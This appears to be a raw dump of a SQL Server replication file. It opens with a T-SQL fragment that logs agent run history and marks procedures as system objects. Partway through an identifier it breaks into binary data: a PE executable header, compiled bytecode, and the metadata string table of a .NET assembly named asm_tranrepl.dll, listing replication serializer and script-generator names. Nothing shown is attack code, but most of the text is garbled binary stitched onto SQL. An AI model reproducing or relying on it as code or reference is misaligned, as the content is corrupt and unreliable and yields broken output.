            timestamp = (select max(timestamp) from MSdistribution_history where agent_id = @agent_id))
            begin
				-- Log success message.
				exec sys.sp_MSadd_distribution_history @agent_id = @agent_id, @runstatus = 2,
						@comments = @message
            end
    end
    else if @category_id = 14
    begin
		-- Get agent_id
        select @agent_id = id from dbo.MSmerge_agents where job_id = @job_id
        if exists (select runstatus from dbo.MSmerge_sessions where 
            agent_id = @agent_id and
            runstatus <> 2 and 
			runstatus <> 5 and 
            runstatus <> 6 and
            session_id = (select top 1 session_id from dbo.MSmerge_sessions where agent_id = @agent_id order by session_id desc))
            begin
				declare @merge_session_id int
                               
                select top 1 @merge_session_id = session_id from dbo.MSmerge_sessions 
				where agent_id = @agent_id 
				order by session_id desc
            
				-- Log success message.
				exec sys.sp_MSadd_merge_history @agent_id = @agent_id, @runstatus = 2,
						@comments = @message, @session_id_override = @merge_session_id
            end
    end
    else if @category_id = 19
    begin
		-- Get agent_id
        select @agent_id = id from MSqreader_agents where job_id = @job_id
        if exists (select runstatus from MSqreader_history where 
            agent_id = @agent_id and
            runstatus <> 2 and 
			runstatus <> 5 and 
            runstatus <> 6 and
            timestamp = (select max(timestamp) from MSqreader_history where agent_id = @agent_id))
            begin
				-- Log success message.
				exec sys.sp_MSadd_qreader_history @agent_id = @agent_id, @runstatus = 2,
						@comments = @message
            end
    end


')
    if @@error <> 0 return 1
    exec('--
-- Mark the local procedures, functions and necessary tables as
-- systemobjects
--
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSset_syncstate''
exec dbo.sp_MS_marksystemobject N''dbo.sp_MSadd_repl_comma!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(HHJ gv=AMZ@	!L!This program cannot be run in DOS mode.

$PELP!  V B@8S8>  H.text  `.rsrc8@@.reloc@BpH	P 7E9?Ppq(IAH=՗
jBfMQ,pZđ{%Gذ8nj(ajAuǎ4~<̃6x?t-;@[eOpեv[𹯖U6+rp*0i(

o
 0
o
 1	(

*o
,o
-	(

*(
(

r/po
(
*C
M70'o
-(

o
o
s
*(
*(
*0P{P{o
o 
&P{P{o
o 
&
9P(!
}P("
}P}PP{Xh}PP{}s#
P{o$
PP{[=}
+P{X
P{[2Po8P{@P{rmpP{>rp(%
o&
&P{P{X?

+*	P{P{rp	?o'
&X
P{2+	XXP{2P%{P{X}P}P}P}Pj}P{rpP{>rpP{rpP{>r%pP{>rAp	P{@
rWp((
o&
&PoP{o
*P{:$P}P{P{?P{rapo&
&P{P|()
o&
&P%{P{Y}P%{P{Y}P}PP{j}PoP{o
*P{rpo&
&P{P|()
o&
&P}PP{j}PoPP{}P}P}P%{Xh}Po+P}PoP{o
*08Zs*

s#
o$

+	o+
&	X
	i2o
*0: s*

s,
o$

+	o+
&	X
	i2o
*0j
F,PoPPo-
PPo-
PPo-
PPo-
PPo-
Po.
1RPPo-
PPo-
PPo-
PP	o-
PP
o-
P	Po-
PPo/
} ?Pj o0

P>o1
-P >o1
9Pi}F9P(!
}P{ [1pX Z?
+V+	XXi2,;Po2
&Pj o0

YiXP%{iX}/	P
F(+P
i(RPo/
-RTPPo-
*0j
F,PoPPo-
PPo-
PP	o-
PPo-
PPo-
PPo-
P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#.;<#.Cm#.K~#.S".[#.c#.k#.s#.{2$`7A#+7{73{73{74{7 4{7@4{7`4{74{74{74{74{75{7 5{7@5{7`5{7@Ac7`Ac7Ac7Ac7Bc7 Bc7%*I^	".2'Z<M\s}*L     !!(!7!s!!!!!!!!!!"""."@"L"X"q""""""
#1>DE I!K"O#Q$[%k&x)}*~+,.03456?]IIM'M/M:MCQOQM'M/M:MIICQOQIINIQQQQMMMM+M4MQQQQMMMM+M4MQQQQMMMM+M :K_y`&J'Mf'Qs''''(Q(((
( ( -V;-\a-e-\-Q&..
5// 00 r2M2M2M2M2M3M@3MO3M_3M3M33333u45Q>5ML5Z5h5v55M5555567M,7MX7M7759=9r2M2M2M_3M2M2M3M3MO3M@3M33333u;QQQQMMMM+M>S''45QL5Z5h533337r2M2M2M_3M2M2M3M@3M>5M3MO3M7M,7MX7M5Mv555555673u?QQQQMMMM+MJ'M-\;-\a-e
K\'K\DKea |a ()*+	,-
.879:BCDEFGHQ!P!R#S#\%]'^'b)e+f-g/h1i3j5k7l9m;n=o?pAqCsEtEwGxIyKzM{O|Q}S~UWY[]_aacegikmoqsuwy{}

 !"#$%&'()*+/349:;<=	>?
@ABCDEFGHL!T#U%V'W)X+Y-Z/[1\3]5^7_9`;k=?ACEGIKMOQSUWY[]_acegikmoqssuuwwyy{{}}
####
##???u???? 
7 Q X     !W+	

 !#&'(+*1032425262728292:2;2=<><?#L L <Module>asm_tranrepl.dllAssemblyVersionInfoCSqlReplExtendedReplCmdsReaderMicrosoft.SqlServer.ReplicationReplPrintRSReplSourceRSReplAgentSourceRSRSTORAGE_TYPEREPL_TYPEREPL_TYPEINFOTOKEN_STATEPARAMMETADATAParamTokenORMaskCDCfunctionsInputStreamOutputStreamChunkedGZipOutputStreamBatchedOutputStreamICommonColumnMetadataMicrosoft.SqlServer.Replication.SqlCodeGenerationBaseComparableByNameColumnMetadataBaseCommonColumnMetadataBaseRowsetSerializerDBTYPEDBCOLUMNFLAGSCommonUtilitiesTSqlQueriesCommonConstantsBaseTSqlCodeGeneratorTransCustomProcedureScripterBaseColumnMetadataIUniqueIndexMetadataIArticleObjectMetadataICommonArticleObjectMetadataBaseArticleObjectMetadataICommonArticleMetadataITransCommonArticleMetadataIArticleMetadataCallTypeDMLTypeQueuedSubscriptionTSqlCodeGeneratorTransConflictTableScripterDisableDataTypeConversionOptionsFilterSyncTranCommandScripterSystemTypeIdColumnMetadataNameKeySqlPipeBlobStreamSqlPipeTextWriterFillDataRecordDelegateTransSqlClrCodeGeneratorsUniqueIndexMetadataArticleMetadataColumnMetadataReplicatedObjectMetadataBooleanPredicateMetadataFilterGenerateArticleScriptDelegateTransSubscriberTypeCustomStoredProcedureTypeRowsetSerializerBatchedSqlPipeBlobStreamSqlClrRowsetSerializermscorlibSystemObjectEnumValueTypeSystem.DataMicrosoft.SqlServer.ServerIBinarySerializeSystem.IOStreamIComparable`1TextWriterMulticastDelegateVersionStringMajorVersionMinorVersionBuildVersionSPLevelProductVersionStringProductNameStringSqlEngineUsageMetricsRoleGuidStringProductNameBrandingStringLongProductNameBrandingStringProductNameShortcutBrandingStringVersionLocationStringProductVersionLocationStringVersionHelpKeywordPrefixVersionHelpSettingsTokenSetupSupportFolderProductLicenseFileProductUpdateCategorySqlProductFamilyCodeProductDiscoveryIdSqlInstanceIDPrefixAsInstanceIDPrefixRsInstanceIDPrefixMaxMaintenanceVersionevalTimeBombValuecurrentReleaseTimeBombValueWerEventNameSetupMsiWerEventNameSetupConfigASUsageMetricsRoleGuidStringVersionBIDSHelpNamespaceVisualStudioShellVersionget_VersionHelpNamespaceVersionHelpNamespaceSystem.Data.SqlTypesSqlInt32CopyBackupFileSqlBinarySqlBytesfn_Repl_Hash_Binary.ctorWCHAR_PER_FRAGMENTWCHAR_SYSNAMEXACT_SEQNO_SIZELOG_SEQNO_SIZESQL_PARAM_CMDRTYPE_FLAG_NULLRESULT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(QJB8v=ACOLUMN_COUNTSOURCECOLUMN_COUNTAGENTRESULTCOLUMN_COUNTNUM_RTYPESParamBinaryToStringBinaryToStringDirectBinaryToStringDirectASCIISystem.Data.SqlClientSqlDataReaderconvert_agentcommandconvert_commandsp_printstatementsp_printagentstatementvalue__rs_xact_seqnors_originator_srvnamers_originator_dbrs_article_idrs_typers_partial_commandrs_hashkeyrs_originator_publication_idrs_originator_db_versionrs_originator_lsnrs_commandrs_command_idsrs_article_idsrs_partial_commandsrs_commandsrs_xactidsrs_xact_seqnosrs_publication_idsrs_command_idsrs_command_typesrs_originator_srvnamesrs_originator_dbsrs_pkHashsrs_originator_publication_idsrs_originator_db_versionsrs_originator_lsnsrs_originator_idRSTORE_FIXEDRSTORE_VARIABLERSTORE_BIGDATARSTORE_CHARDATARTYPE_I2RTYPE_I4RTYPE_R4RTYPE_R8RTYPE_BITRTYPE_UI1RTYPE_SSGUIDRTYPE_SSNUMERICRTYPE_SSBYTESRTYPE_SSSTRRTYPE_SSWSTRRTYPE_VARBYTESRTYPE_VARSTRRTYPE_VARWSTRRTYPE_SSDATERTYPE_SMALLDATERTYPE_TIMESTAMPRTYPE_CLOBRTYPE_BLOBRTYPE_WLOBRTYPE_I8RTYPE_UDTRTYPE_XMLRTYPE_DATERTYPE_TIMERTYPE_DATETIME2RTYPE_DATETIMEOFFSETRTYPE_FSRTYPE_BADalignstoragePARTIAL_DISPLAYPARTIAL_ROLLOVERCOMPLETE_DATUMrepl_dtypemetadatatokenStatewParamiParamcbTSQLcbDatacbTokenoNextTokenoDatumiParam_oDatumpRemainingBytespTSQLCmdcbRemainingBytescbAlignmentOffsetcbLeadingBytesatiReplTypeInfoSystem.TextStringBuilderstrBldrstrCurrentfDisplayPrefixfPartialResetIsNullGetBytesToAlignGetReplTypeInfoGetNextDatumGetNextFragmentDisplayTokenGetCurrentTokenAppendTSQLCmdMoveByTokenintermediateResultoutmaskmaxlengthInitAccumulateMergeTerminateBinaryReaderReadBinaryWriterWriteIncrementLSNDecrementLSNIsBitSetm_LengthReadByteFlushget_Lengthget_Positionset_Positionget_CanReadget_CanSeekget_CanTimeoutget_CanWriteCloseIAsyncResultAsyncCallbackBeginReadEndReadBeginWriteEndWriteSeekOriginSeekWriteByteget_ReadTimeoutset_ReadTimeoutget_WriteTimeoutset_WriteTimeoutSetLengthLengthPositionCanReadCanSeekCanTimeoutCanWriteReadTimeoutWriteTimeoutDisposem_UncompressedLengthInCurrentGZipStreamSystem.IO.CompressionGZipStreamm_CurrentGZipStreamm_ChunkLengthm_BaseOutputStreamAllocateNewGZipStreamm_SingleByteBufferm_BatchSizem_RowCountget_RowCountIncrementRowCountSendRowCountRowCountget_ColumnIdget_Nameget_QuotedNameget_SystemTypeIdget_MaximumLengthget_NumericPrecisionget_NumericScaleget_QuotedQualifiedUserDefinedTypeNameget_IsNullableget_IsComputedget_IsIdentityget_IsFileStreamget_IsSparseGetTypeStringget_DiscretionaryPrimaryKeyColumnMarkerset_DiscretionaryPrimaryKeyColumnMarkerColumnIdNameQuotedNameMaximumLengthNumericPrecisionNumericScaleQuotedQualifiedUserDefinedTypeNameIsNullableIsComputedIsIdentityIsFileStreamIsSparseDiscretionaryPrimaryKeyColumnMarkerCompareToDefaultFractionalTimeScalem_DiscretionaryPrimaryKeyColumnMarkerm_ColumnIdm_Namem_QuotedNamem_SystemTypeIdm_MaximumLengthm_NumericPrecisionm_NumericScalem_QuotedQualifiedUserDefinedTypeNamem_IsNullablem_IsComputedm_IsIdentitym_IsFileStreamm_IsSparseMaxBinaryColumnLengthMaxCharacterColumnLengthLongDataChunkBufferSizeVersionm_ObjectNamem_ObjectSchemam_LoadOrderingHintm_WhereClauseSqlConnectionm_ConnectionSystem.Collections.GenericList`1m_ColumnMetadataListm_NonBlobColumnMetadataListm_BlobColumnMetadataListm_BatchedOutputStreamm_OutputBinaryWriterm_RequiresExplicitColumnListSqlCommandSetupFetchRowsetDataCommandm_QuotedQualifiedObjectNameget_QuotedQualifiedObjectNamem_BinaryDataBufferget_BinaryDataBufferm_CharacterDataBufferget_CharacterDataBufferm_LongBinaryDataChunkBufferget_LongBinaryDataChunkBufferm_LongCharacterDataChunkBufferget_LongCharacterDataChunkBufferm_HeaderWrittenWriteHeaderIfNeededWriteTinyIntWriteSmallIntWriteIntWriteBigIntWriteBlobColumnLengthWriteRealWriteFloatWriteGuidWriteBitWriteBinaryDataWriteCharacterDataWriteNumericm_DateTimeConversionBufferget_DateTimeConversionBufferWriteDateTimeWriteSmallMoneyWriteMoneyWriteSqlVariantWriteLongBinaryDataWriteLongCharacterDataProcessRowsetDataFetchRowsetDataFetchColumnMetadataSetupFetchColumnMetadataCommandProcessColumnMetadataIsBlobColumnIsNarrowCharacterColumnIsFixedLengthColumnMapSystemTypeIdToDBTYPESerializeRowsetQuotedQualifiedObjectNameBinaryDataBufferCharacterDataBufferLongBinaryDataChunkBufferLongCharacterDataChunkBufferDateTimeConversionBufferDBTYPE_EMPTYDBTYPE_NULLDBTYPE_I2DBTYPE_I4DBTYPE_R4DBTYPE_R8DBTYPE_CYDBTYPE_DATEDBTYPE_BSTRDBTYPE_IDISPATCHDBTYPE_ERRORDBTYPE_BOOLDBTYPE_VARIANTDBTYPE_IUNKNOWNDBTYPE_DECIMALDBTYPE_UI1DBTYPE_ARRAYDBTYPE_BYREFDBTYPE_I1DBTYPE_UI2DBTYPE_UI4DBTYPE_I8DBTYPE_UI8DBTYPE_GUIDDBTYPE_VECTORDBTYPE_RESERVEDDBTYPE_BYTESDBTYPE_STRDBTYPE_WSTRDBTYPE_NUMERICDBTYPE_UDTDBTYPE_DBDATEDBTYPE_DBTIMEDBTYPE_DBTIMESTAMPDBTYPE_XMLDBTYPE_SQLVARIANTDBCOLUMNFLAGS_EMPTYDBCOLUMNFLAGS_ISFIXEDLENGTHDBCOLUMNFLAGS_ISNULLABLEDBCOLUMNFLAGS_ISLONGHexadecimalStringToByteArrayByteArrayToHexadecimalStringIsEmptyStringSystem.SecuritySecureStringGetSquareBracketQuotedQualifiedNameSquareBracketQuoteIdentifierContractStringToFitMakeSqlNStringLiteralDrainResultsSqlBooleanOnNullSqlBooleanMapToFalseSqlStringOnNullSqlStringMapToNullOnNullSqlStringMapToEmptyStringOnNullSqlInt32MapTo0cEmptyBatchcSetIVCCIOptionscSetQuotedIdentifierOncSetQuotedIdentifierOffcSetAnsiNullsOncSetAnsiNullsOffcSetAnsiPaddingOncSetAnsiPaddingOffcSpMsHelpProfilecBatchDelimitercSmoScriptingBatchDelimitercLockTablecBeginTransactioncCommitTransactioncRollbackTransactioncDropViewWithExistenceCheckcTimestampTypeNamecBinaryTypeNamecNVarCharTypeNamecVarCharTypeNamecVarBinaryTypeNamecNTextTypeNamecTextTypeNamecImageTypeNamecXmlTypeNamecCharTypeNamecDateTypeNamecTimeTypeNamecDateTime2TypeNamecDateTimeOffsetTypeNamecSyscSpMsDropFKReferencingArticlecSpMsDropFKReferencingArticleOnlyIfRestoreAvailablecCreateSchemacCheckTypeCodecDefaultTypeCodecUnicodeCharWidthcdboSerializedRowsetMagicCookiecSysnameWidthcTranSequenceNumLencTranSequenceNumDataLencTranSequenceNumDataLenVer6cSchemaTextSizecQualifiedIdentifierWidthcHistoryMessageLengthcStartTimeStringLengthcFilePathFieldLengthcReplCommandLengthcReplCommandCharLengthcTypeCodeLengthm_PublicationcIndentationcDropProcedureTemplatecUnregisterCustomProcedureTemplatecRegisterCustomProcedureTemplatecRowCountCheckm_ArticleMetadatam_SupportsUpdatableSubscriptionsm_SupportsP2pConflictDetectionm_SupportsColumnUpdateBitmapm_HasUpdateableNonPrimaryKeyColumnsm_HasUpdateablePrimaryKeyColumnsm_Publisherm_PublisherDatabaseUnqualifiedUnSquareBracketQuotedNameExtractCustomerProcedureNameAndCallTypeget_ArticleMetaDataScriptPrimaryKeyWhereClauseColumnIsInsertableColumnIsUpdateableScriptProcedureUnregistrationScriptDropProcedureScriptProcedureRegistrationScriptInsertStatementColumnListScriptInsertStatementValueListScriptp2pConflictDetectionCoreScriptInsertProcedureCoreScriptUniquenessCheckForUpdatableSubscriberScriptInsertProcedureScriptReconciliationInsertProcedureColumnIncludedInRegularParameterListGetBitmapIndexFromOrdinalGetBitmaskFromOrdinalScriptBitmapBasedConditionalColumnUpdateExpressionScriptSetColumnsForUpdateScriptUpdateStatementScriptUpdateProcedureCoreScriptUpdateProcedureScriptDeleteProcedureCoreScriptDeleteProcedureScriptReconciliationDeleteProcedureArticleMetaDataget_IsIdentityNotForReplicationm_AfterOrdinalget_AfterOrdinalset_AfterOrdinalm_AfterParameterNameget_AfterParameterNameset_AfterParameterNamem_BeforeParameterNameget_BeforeParameterNameset_BeforeParameterNameIsIdentityNotForReplicationAfterOrdinalAfterParameterNameBeforeParameterNameIEnumerable`1get_IndexedColumnListget_FilterDefinitionIndexedColumnListFilterDefinitionget_PrimaryKeyColumnCountget_ReplicatedColumnMetadataCollectionget_PrimaryKeyColumnMetadataCollectionget_UniqueIndexesMetadataCollectionPrimaryKeyColumnCount!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(RJ!:>v=AReplicatedColumnMetadataCollectionPrimaryKeyColumnMetadataCollectionUniqueIndexesMetadataCollectionm_SortedReplicatedColumnMetadataArrayget_SortedReplicatedColumnMetadataArrayget_ProtectedPrimaryKeyColumnMetadataListget_ProtectedUniqueIndexesMetadataListget_ProtectedReplicatedColumnMetadataListMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.get_PrimaryKeyColumnCountMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.get_PrimaryKeyColumnMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.get_UniqueIndexesMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.get_ReplicatedColumnMetadataCollectionBaseColumnMetadataIEnumerableToICommonColumnMetadataIEnumerableMicrosoft.SqlServer.Replication.SqlCodeGeneration.ICommonArticleObjectMetadata.get_ReplicatedColumnMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.ICommonArticleObjectMetadata.get_PrimaryKeyColumnMetadataCollectionSortedReplicatedColumnMetadataArrayProtectedPrimaryKeyColumnMetadataListProtectedUniqueIndexesMetadataListProtectedReplicatedColumnMetadataListMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.PrimaryKeyColumnCountMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.PrimaryKeyColumnMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.UniqueIndexesMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.TransCustomProcedureScripter.IArticleObjectMetadata.ReplicatedColumnMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.ICommonArticleObjectMetadata.ReplicatedColumnMetadataCollectionMicrosoft.SqlServer.Replication.SqlCodeGeneration.ICommonArticleObjectMetadata.PrimaryKeyColumnMetadataCollectionget_ConvertsUserDefinedTypesToBaseTypesget_ConvertsXmlToNTextget_ConvertsMaxTypesToMatchingNonMaxTypesget_ConvertsHierarchyIdToVarBinaryMaxget_ConvertsLargeUserDefinedTypesToVarBinaryMaxget_ConvertsSpatialTypesToVarBinaryMaxget_KeepsTimestampget_SparseAttributeget_ConvertsKatmaiDateTimeTypesToStringsget_FileStreamAttributeget_SourceObjectNameget_SourceObjectSchemaget_DestinationObjectNameget_DestinationObjectSchemaget_CommonArticleObjectMetadataConvertsUserDefinedTypesToBaseTypesConvertsXmlToNTextConvertsMaxTypesToMatchingNonMaxTypesConvertsHierarchyIdToVarBinaryMaxConvertsLargeUserDefinedTypesToVarBinaryMaxConvertsSpatialTypesToVarBinaryMaxKeepsTimestampSparseAttributeConvertsKatmaiDateTimeTypesToStringsFileStreamAttributeSourceObjectNameSourceObjectSchemaDestinationObjectNameDestinationObjectSchemaCommonArticleObjectMetadataget_ArticleIdget_KeepsIdentityget_InsertCommandget_UpdateCommandget_DeleteCommandget_FilterClauseget_AutomaticIdentityManagementget_SyncTranInsertProcedureget_SyncTranUpdateProcedureget_SyncTranDeleteProcedureget_SyncTranProcedureSchemaget_ConflictTableNameget_ConflictTableInsertProcedureArticleIdKeepsIdentityInsertCommandUpdateCommandDeleteCommandFilterClauseAutomaticIdentityManagementSyncTranInsertProcedureSyncTranUpdateProcedureSyncTranDeleteProcedureSyncTranProcedureSchemaConflictTableNameConflictTableInsertProcedureget_HasUserDefinedInsertCustomProcedureScripterget_HasUserDefinedUpdateCustomProcedureScripterget_HasUserDefinedDeleteCustomProcedureScripterget_QualifiedQuotedDestinationTableNameget_ArticleObjectMetadataHasUserDefinedInsertCustomProcedureScripterHasUserDefinedUpdateCustomProcedureScripterHasUserDefinedDeleteCustomProcedureScripterQualifiedQuotedDestinationTableNameArticleObjectMetadataCallXCallMCallSCallRCallCCallVCallSQLinsertdeleteupdateComposeIdentifierFromPublicationAndArticleNameWithPrefixm_ConflictTableNamecDropTableTemplatem_ForSubscriberm_QuotedQualifiedConflictTableNameget_QuotedQualifiedConflictTableNamem_QuotedConflictTableIndexNameget_QuotedConflictTableIndexNameScriptDropTableScriptConflictTableQuotedQualifiedConflictTableNameQuotedConflictTableIndexNamem_TransArticleMetadatam_NumberOfReplicatedColumnsm_NumberOfPrimaryKeyColumnsm_Distributorm_UpdateImmediateSyncSubscriberMessagem_SupportsImmediateSyncSubscriptionsm_SupportsQueuedSubscriptionsm_IndependentAgentm_TriggersOnlym_ForAlterm_AlteredColumnsm_TimestampColumnm_IdentityColumnm_PrimaryKeyColumnBitmapm_MaxColumnIdm_NonDroppedColumnsm_ColumnIdBitmapget_ColumnIdBitmapScriptSpAddSyncTriggersCommonParametersScriptSpAddQueuedArtInfoCommonParametersScriptAgentIdQueryCommonSuffixScriptCommonDeleteMSSubscriptionArticleColumnsScriptInsertColumnListIntoMSSubscriptionArticleColumnsScriptSyncTranCommandsColumnIdBitmapInvalidImageTextUniqueIdentifierDateTimeDateTime2DateTimeOffsetTinyIntSmallIntIntSmallDateTimeRealMoneyDateTimeFloatSqlVariantNTextBitDecimalNumericSmallMoneyBigIntVarBinaryVarCharBinaryCharTimeStampNVarCharNCharUserDefinedTypeXmlnamecolumnIdcChunkSizeSqlPipem_OutputPipem_Bufferm_BytesUsedInBufferSqlMetaDatam_ResultSetSchemaSqlDataRecordm_ResultRecordEmptySqlBytesFlushBufferToSqlPipecBufferSizem_CharactersUsedInBufferSqlCharsEmptySqlCharsm_ResultRecordOffsetm_CharacterColumnOrdinalm_FillDataRecordDelegateEncodingget_EncodingWriteLineFlushRowInvokeBeginInvokeEndInvokem_Articlem_PublisherTypem_UpgradeImmediateSyncSubscriberMessagem_ScriptWriterm_maxScriptm_scriptBuilderm_StoredProcedureNamem_PublicationIdm_ReplicationFrequencym_MetadataQueryPreamblem_FetchDistributorFilterm_FetchArticleMetadataFilterm_FetchColumnAndPrimaryKeyMetadataFilterm_FetchUpdateableSubscriptionsMetadataFilterm_CheckNullUpdateableSubscriptionsMetadatam_FetchAlteredColumnListFilterm_FetchUniqueIndexMetadataFilterm_GenerateCustomProceduresFilterm_GenerateInsertCustomProcedureFilterm_GenerateUpdateCustomProcedureFilterm_GenerateDeleteCustomProcedureFilterAlwaysTrueMetadataFilterAlwaysFalseMetadataFilterSetupMetadataGatheringCommandm_OriginalConcatNullYieldsNullSettingm_CentralizedConflictsm_GenerateCustomProceduresm_SupportsP2PCDFetchPublicationMetadataFetchUpdateableSubscriptionsMetadataFetchPrimaryKeyMetadataFetchUniqueIndexMetadataFetchArticleMetadataProcessMetadataResultsGenerateArticleCustomProcedureScriptDumpCustomProcedureScripterResultm_GenerateArticleScriptDelegateGatherMetadataAndGenerateScriptMapUpdateModeSqlStringToTransSubscriberTypem_SubscriberTypeGenerateArticleSyncTranCommandsGenerateArticleNoSyncSubscriptionSetupScriptGenerateNoSyncSubscriptionSetupScriptsp_MSgeneratenosyncsubscriptionsetupscript_sqlclrCommonGenerateCustomProcedureScriptGenerateCustomProcedureScriptsp_MSscriptpublicationcustomprocs_sqlclrFetchPublicationAndArticleNameFromArticleIdScriptCustomProceduresp_MSscriptcustominsproc_sqlclrsp_MSscriptcustomupdproc_sqlclrsp_MSscriptcustomdelproc_sqlclrScriptDropReconciliationProcedureSqlBytesp_scriptdropinsreconciliationproc_sqlclrsp_scriptdropdelreconciliationproc_sqlclrGenerateArticleSyncTranCommandScriptGenerateSyncTranCommandScriptsp_MSscriptsynctrancommands_sqlclrGenerateArticleConflictTableScriptMakeConflictTableMakeP2PConflictTablesp_MSmakeconflicttable_sqlclrm_IndexedColumnListm_FilterDefinitionm_ArticleIdm_InsertCommandm_UpdateCommandm_DeleteCommandm_SourceObjectNamem_SourceObjectSchemam_DestinationObjectNamem_DestinationObjectSchemam_QualifiedQuotedDestinationTableNamem_ConvertsUserDefinedTypesToBaseTypesm_ConvertsXmlToNTextm_ConvertsMaxTypesToMatchingNonMaxTypesm_ConvertsKatmaiDateTimeTypesToStringsm_ConvertsHierarchyIdToVarBinaryMaxm_ConvertsLargeUserDefinedTypesToVarBinaryMaxm_ConvertsSpatialTypesToVarBinaryMaxm_KeepsTimestampm_KeepsIdentitym_FileStreamAttributem_SparseAttributem_HasUserDefinedInsertCustom!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(SJ%Lv=AProcedureScripterm_HasUserDefinedUpdateCustomProcedureScripterm_HasUserDefinedDeleteCustomProcedureScripterm_AutomaticIdentityManagementm_FilterClausem_SyncTranInsertProcedurem_SyncTranUpdateProcedurem_SyncTranDeleteProcedurem_SyncTranProcedureSchemam_ConflictTableInsertProcedureset_AutomaticIdentityManagementset_FilterClauseset_SyncTranInsertProcedureset_SyncTranUpdateProcedureset_SyncTranDeleteProcedureset_SyncTranProcedureSchemaset_ConflictTableNameset_ConflictTableInsertProcedurem_ReplicatedObjectMetadataget_ReplicatedObjectMetadatam_IsIdentityNotForReplicationm_ReplicatedColumnMetadataListm_PrimaryKeyColumnMetaDataListm_UniqueIndexesMetadataListget_ReplicatedColumnMetadataListget_PrimaryKeyColumnMetadataListget_UniqueIndexesMetadataListReplicatedColumnMetadataListPrimaryKeyColumnMetadataListUniqueIndexesMetadataListm_SqlPredicatem_BooleanPredicateToStringop_ImplicitReadOnlyImmediateUpdateQueuedUpdateFailoverQueuedFailoverInsertUpdateDeleteSqlInt64sp_MSserializerowsetm_CurrentSqlPipeBlobStreamm_RowCountResultRecordstrSourceNamestrDestinationNameinputtokenReaderbytesfFirstiParamMarkeroIndexoLengthfFirstChuck_in_cmdrgobjreaderstrCmdi_aligni_storagei_dtypedtypecuroffseticbTokenfDataTokenfBeginQuotefEndQuotebuf_commandotherrwLSNpositionmaskbufferoffsetcountvaluecallbackstateasyncResultorigindisposingbaseOutputStreamchunkLengthbatchSizearticleMetadatasystemTypeIdmaximumLengthnumericPrecisionnumericScalequotedQualifiedUserDefinedTypeNameisNullableisComputedisIdentityisFileStreamisSparseobjectNameobjectSchemaloadOrderingHintwhereClauseconnectionbatchedOutputStreamoutputBinaryWritercommandSystem.Runtime.InteropServicesOutAttributedataReadercolumnOrdinalcolumnhexStringbyteArraysstrObjectNamestrSchemastrUnquotedIdentifierinputStringlengthToFitunquotedStringcollationsqlBooleansqlStringsqlInt32publicationpublisherpublisherDatabasesupportsUpdatableSubscriptionssupportsP2pConflictDetectionprocedureNamecommandStringforReconcilationcallTypeoutputTextStreamquotedProcedureNameskipTSdmlTypefReadOnlyscriptSetIdentityInsertforUpdateordinalversionColumnhasUpdateablePrimaryKeyColumnshasUpdateableNonPrimaryKeyColumnsignoreVersionbitmapSizereconciliationbaseColumnMetadataEnumerableconflictTableNameprefixforSubscriberscriptWriterquotedTableNamedistributorupgradeImmediateSyncSubscriberMessagesupportsImmediateSyncSubscriptionssupportsQueuedSubscriptionsindependentAgenttriggersOnlyforAlteralteredColumnscolumnListdataRecordcharacterColumnOrdinalfillDataRecordDelegateobjectmethodresultarticlepublisherTypemaxScriptscriptBuilderupdateModesubscriberTypenvarcharMaxScriptcustomStoredProcedureTypearticleIdpublisher_typecustomProcedureTypemodeformatcommandOnlyindexedColumnListfilterDefinitioninsertCommandupdateCommanddeleteCommandsourceObjectNamesourceObjectSchemadestinationObjectNamedestinationObjectSchemaconvertsUserDefinedTypesToBaseTypesconvertsXmlToNTextconvertsMaxTypesToMatchingNonMaxTypesconvertsKatmaiDateTimeTypesToStringsconvertsHierarchyIdToVarBinaryMaxconvertsLargeUserDefinedTypesToVarBinaryMaxconvertsSpatialTypesToVarBinaryMaxkeepsTimestampkeepsIdentityfileStreamAttributesparseAttributehasUserDefinedInsertCustomProcedureScripterhasUserDefinedUpdateCustomProcedureScripterhasUserDefinedDeleteCustomProcedureScripterquotedNameisIdentityNotForReplicationsqlPredicatebooleanPredicatefiltercompresslastBatchComVisibleAttributeSystem.ReflectionAssemblyVersionAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeAssemblyFileVersionAttributeAssemblyInformationalVersionAttributeAssemblyKeyFileAttributeAssemblyDelaySignAttributeAssemblyTitleAttributeAssemblyDescriptionAttributeSystem.ResourcesNeutralResourcesLanguageAttributeAssemblyTrademarkAttributeSystem.DiagnosticsDebuggableAttributeDebuggingModesSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeasm_tranreplStringFileCopyConsoleExceptionSqlFunctionAttributeget_IsNullSystem.Security.CryptographyMD5Createget_ValueHashAlgorithmComputeHashRemoveBitConverterToInt32ToInt16UnicodeEncodingGetCharsInt32ConcatAppendByteAppendFormatInt64ASCIIEncodingSystem.Data.CommonDbDataReaderGetValueget_FieldCountGetBooleanGetBytesEqualsGetByteSqlDbTypeSetValuesSqlContextget_PipeDbConnectionOpenCreateCommandDbCommandset_CommandTextExecuteReaderSendResultsStartSendResultsRowget_IsSendingResultsSendResultsEndget_MessageSendget_StackTraceInt16SubstringIDisposableSqlExceptionSqlErrorCollectionget_ErrorsSqlErrorget_Itemget_Numberget_Stateget_Procedureget_LineNumberget_Serverget_Sourceget_CountStructLayoutAttributeLayoutKindBooleanToInt64ToDoubl